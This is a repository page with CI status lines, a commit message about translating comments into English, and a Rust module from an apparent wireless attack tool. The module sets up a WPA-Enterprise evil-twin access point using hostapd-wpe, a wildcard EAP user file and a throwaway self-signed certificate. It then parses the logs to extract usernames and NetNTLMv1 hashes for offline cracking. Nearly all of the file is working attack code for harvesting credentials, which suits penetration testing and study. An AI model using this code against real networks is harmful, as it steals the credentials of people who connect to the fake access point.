CI / Format and clippy (push) Successful in 1m13s
CI / Dependency audit (push) Successful in 13s
CI / Tests (Linux) (push) Successful in 1m35s
Release / Create release (push) Successful in 7s
CI / Check desktop app (Linux) (push) Successful in 3m19s
Release / CLI (linux-aarch64) (push) Successful in 1m3s
Release / CLI (linux-x86_64) (push) Successful in 1m28s
Release / Desktop app (linux-aarch64) (push) Successful in 7m16s
Release / Desktop app (linux-x86_64) (push) Successful in 10m17s
Release / Desktop app (windows) (push) Successful in 4m54s
Completes the English-only standardization for code, comments, scripts and CI templates (UI/CLI-facing strings stay bilingual pt-BR/en, untouched). Covers the remaining crates/, apps/gui/ui/ and apps/gui/src-tauri/ comments, .gitea/ workflow and template comments, .githooks/ hooks, and the scripts/ source comments for the files already renamed in a prior commit (check.sh, generate-logo.py, install-hooks.sh). Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01VAyr8d7HuAdUGB6aA5xmDD
225 lines
6.8 KiB
Rust
225 lines
6.8 KiB
Rust
//! WPA2/WPA3-Enterprise (802.1X) Evil Twin: clones an Enterprise AP on a
|
|
//! secondary interface using `hostapd-wpe` to accept EAP (PEAP/EAP-TTLS with
|
|
//! inner MSCHAPv2) authentication attempts and log NetNTLMv1 challenge/response
|
|
//! hashes for offline cracking with `john` or `hashcat -m 5500`.
|
|
//!
|
|
//!
|
|
//!
|
|
//!
|
|
//!
|
|
//! Note: because the server certificate is self-signed, clients configured to
|
|
//! strictly validate the RADIUS CA certificate chain will reject the connection;
|
|
//! clients without strict CA pinning will complete the inner MSCHAPv2 exchange.
|
|
//!
|
|
//!
|
|
//!
|
|
//!
|
|
//!
|
|
//!
|
|
//!
|
|
//!
|
|
//!
|
|
//!
|
|
//!
|
|
//!
|
|
//!
|
|
//!
|
|
//!
|
|
|
|
use std::fmt::Write as _;
|
|
|
|
/// Generates the `hostapd-wpe` configuration for the Enterprise clone AP.
|
|
///
|
|
///
|
|
#[allow(clippy::too_many_arguments)]
|
|
pub fn hostapd_wpe_conf(
|
|
iface: &str,
|
|
ssid: &str,
|
|
channel: u32,
|
|
eap_user_path: &str,
|
|
ca_cert_path: &str,
|
|
server_cert_path: &str,
|
|
server_key_path: &str,
|
|
wpe_logfile_path: &str,
|
|
) -> String {
|
|
let mut out = String::new();
|
|
let _ = writeln!(out, "interface={iface}");
|
|
let _ = writeln!(out, "driver=nl80211");
|
|
let _ = writeln!(out, "ssid={}", sanitize_conf_value(ssid));
|
|
let _ = writeln!(out, "hw_mode={}", if channel > 14 { "a" } else { "g" });
|
|
let _ = writeln!(out, "channel={channel}");
|
|
let _ = writeln!(out, "auth_algs=1");
|
|
let _ = writeln!(out, "wmm_enabled=1");
|
|
let _ = writeln!(out, "ignore_broadcast_ssid=0");
|
|
let _ = writeln!(out, "wpa=2");
|
|
let _ = writeln!(out, "wpa_key_mgmt=WPA-EAP");
|
|
let _ = writeln!(out, "rsn_pairwise=CCMP");
|
|
let _ = writeln!(out, "ieee8021x=1");
|
|
let _ = writeln!(out, "eap_server=1");
|
|
let _ = writeln!(out, "eap_user_file={eap_user_path}");
|
|
let _ = writeln!(out, "ca_cert={ca_cert_path}");
|
|
let _ = writeln!(out, "server_cert={server_cert_path}");
|
|
let _ = writeln!(out, "private_key={server_key_path}");
|
|
let _ = writeln!(out, "wpe_logfile={wpe_logfile_path}");
|
|
out
|
|
}
|
|
|
|
/// Wildcard `eap_user` table: accepts any outer identity for PEAP/TTLS and
|
|
/// negotiates inner MSCHAPv2 so `hostapd-wpe` logs the challenge/response pair.
|
|
///
|
|
///
|
|
pub const DEFAULT_EAP_USER_FILE: &str = concat!(
|
|
"# gerado pelo Sabiá — aceita qualquer identidade, qualquer EAP externo\n",
|
|
"* PEAP,TTLS\n",
|
|
"\"anonymous\" TTLS-MSCHAPV2,MSCHAPV2 \"senha\" [2]\n",
|
|
);
|
|
|
|
/// Builds `openssl req` arguments to generate a 1-day ephemeral self-signed
|
|
/// RSA certificate and private key for the outer EAP-TLS/PEAP/TTLS tunnel.
|
|
///
|
|
///
|
|
pub fn openssl_selfsigned_cert_args(key_path: &str, cert_path: &str) -> Vec<String> {
|
|
[
|
|
"req",
|
|
"-x509",
|
|
"-newkey",
|
|
"rsa:2048",
|
|
"-keyout",
|
|
key_path,
|
|
"-out",
|
|
cert_path,
|
|
"-days",
|
|
"1",
|
|
"-nodes",
|
|
"-subj",
|
|
"/CN=sabia-wpe",
|
|
]
|
|
.into_iter()
|
|
.map(String::from)
|
|
.collect()
|
|
}
|
|
|
|
fn sanitize_conf_value(value: &str) -> String {
|
|
value.replace(['\n', '\r'], "")
|
|
}
|
|
|
|
/// A captured Enterprise credential: username plus NetNTLMv1 hash string
|
|
/// (compatible with `john --format=netntlm` and `hashcat -m 5500`).
|
|
///
|
|
#[derive(Debug, Clone, PartialEq, Eq)]
|
|
pub struct CapturedCredential {
|
|
pub username: String,
|
|
pub netntlm: Option<String>,
|
|
}
|
|
|
|
/// Parses `hostapd-wpe` log output and extracts captured MSCHAPv2 / NetNTLMv1 credentials.
|
|
///
|
|
///
|
|
///
|
|
///
|
|
///
|
|
///
|
|
///
|
|
pub fn captured_identities(log: &str) -> Vec<CapturedCredential> {
|
|
let mut out: Vec<CapturedCredential> = Vec::new();
|
|
let mut current_username: Option<String> = None;
|
|
for raw_line in log.lines() {
|
|
let line = raw_line.trim();
|
|
if let Some(rest) = line.strip_prefix("username:") {
|
|
current_username = Some(rest.trim().to_string());
|
|
} else if let Some(rest) = line.strip_prefix("jtr NETNTLM:") {
|
|
let netntlm = rest.trim().to_string();
|
|
let username = current_username
|
|
.clone()
|
|
.or_else(|| netntlm.split(':').next().map(str::to_string))
|
|
.unwrap_or_default();
|
|
if !out.iter().any(|c: &CapturedCredential| {
|
|
c.username == username && c.netntlm.as_deref() == Some(netntlm.as_str())
|
|
}) {
|
|
out.push(CapturedCredential {
|
|
username,
|
|
netntlm: Some(netntlm),
|
|
});
|
|
}
|
|
}
|
|
}
|
|
out
|
|
}
|
|
|
|
#[cfg(test)]
|
|
mod tests {
|
|
use super::*;
|
|
|
|
#[test]
|
|
fn hostapd_wpe_conf_includes_eap_and_tls_directives() {
|
|
let conf = hostapd_wpe_conf(
|
|
"wlan1",
|
|
"Corp\nWifi",
|
|
149,
|
|
"/tmp/eap_user",
|
|
"/tmp/ca.pem",
|
|
"/tmp/server.pem",
|
|
"/tmp/server.key",
|
|
"/tmp/wpe.log",
|
|
);
|
|
assert!(conf.contains("interface=wlan1"));
|
|
assert!(conf.contains("ssid=CorpWifi"));
|
|
assert!(!conf.contains("ssid=Corp\nWifi"));
|
|
assert!(conf.contains("hw_mode=a"));
|
|
assert!(conf.contains("ieee8021x=1"));
|
|
assert!(conf.contains("eap_server=1"));
|
|
assert!(conf.contains("eap_user_file=/tmp/eap_user"));
|
|
assert!(conf.contains("wpe_logfile=/tmp/wpe.log"));
|
|
}
|
|
|
|
#[test]
|
|
fn openssl_args_reference_the_right_paths() {
|
|
let args = openssl_selfsigned_cert_args("/tmp/k.key", "/tmp/c.pem");
|
|
assert!(args.contains(&"/tmp/k.key".to_string()));
|
|
assert!(args.contains(&"/tmp/c.pem".to_string()));
|
|
assert!(args.contains(&"-x509".to_string()));
|
|
}
|
|
|
|
#[test]
|
|
fn captured_identities_parses_username_and_netntlm_blocks() {
|
|
let log = "\
|
|
mschapv2: Thu Jan 1 00:00:00 1970
|
|
username: bob
|
|
challenge: aabbccddeeff0011
|
|
response: 1122334455667788990011223344556677889900aabbcc
|
|
jtr NETNTLM: bob:$NETNTLM$aabbccddeeff0011$1122334455667788990011223344556677889900aabbcc
|
|
|
|
mschapv2: Thu Jan 1 00:01:00 1970
|
|
username: alice
|
|
jtr NETNTLM: alice:$NETNTLM$0011223344556677$aabbccddeeff00112233445566778899aabbccdd
|
|
";
|
|
let creds = captured_identities(log);
|
|
assert_eq!(creds.len(), 2);
|
|
assert_eq!(creds[0].username, "bob");
|
|
assert!(creds[0]
|
|
.netntlm
|
|
.as_deref()
|
|
.unwrap()
|
|
.starts_with("bob:$NETNTLM$"));
|
|
assert_eq!(creds[1].username, "alice");
|
|
}
|
|
|
|
#[test]
|
|
fn captured_identities_dedupes_repeated_blocks_across_reparses() {
|
|
let log = "\
|
|
username: bob
|
|
jtr NETNTLM: bob:$NETNTLM$aa$bb
|
|
username: bob
|
|
jtr NETNTLM: bob:$NETNTLM$aa$bb
|
|
";
|
|
let creds = captured_identities(log);
|
|
assert_eq!(creds.len(), 1);
|
|
}
|
|
|
|
#[test]
|
|
fn captured_identities_returns_empty_for_a_log_with_no_credentials_yet() {
|
|
assert!(captured_identities("").is_empty());
|
|
assert!(captured_identities("hostapd-wpe v2.x starting up\n").is_empty());
|
|
}
|
|
}
|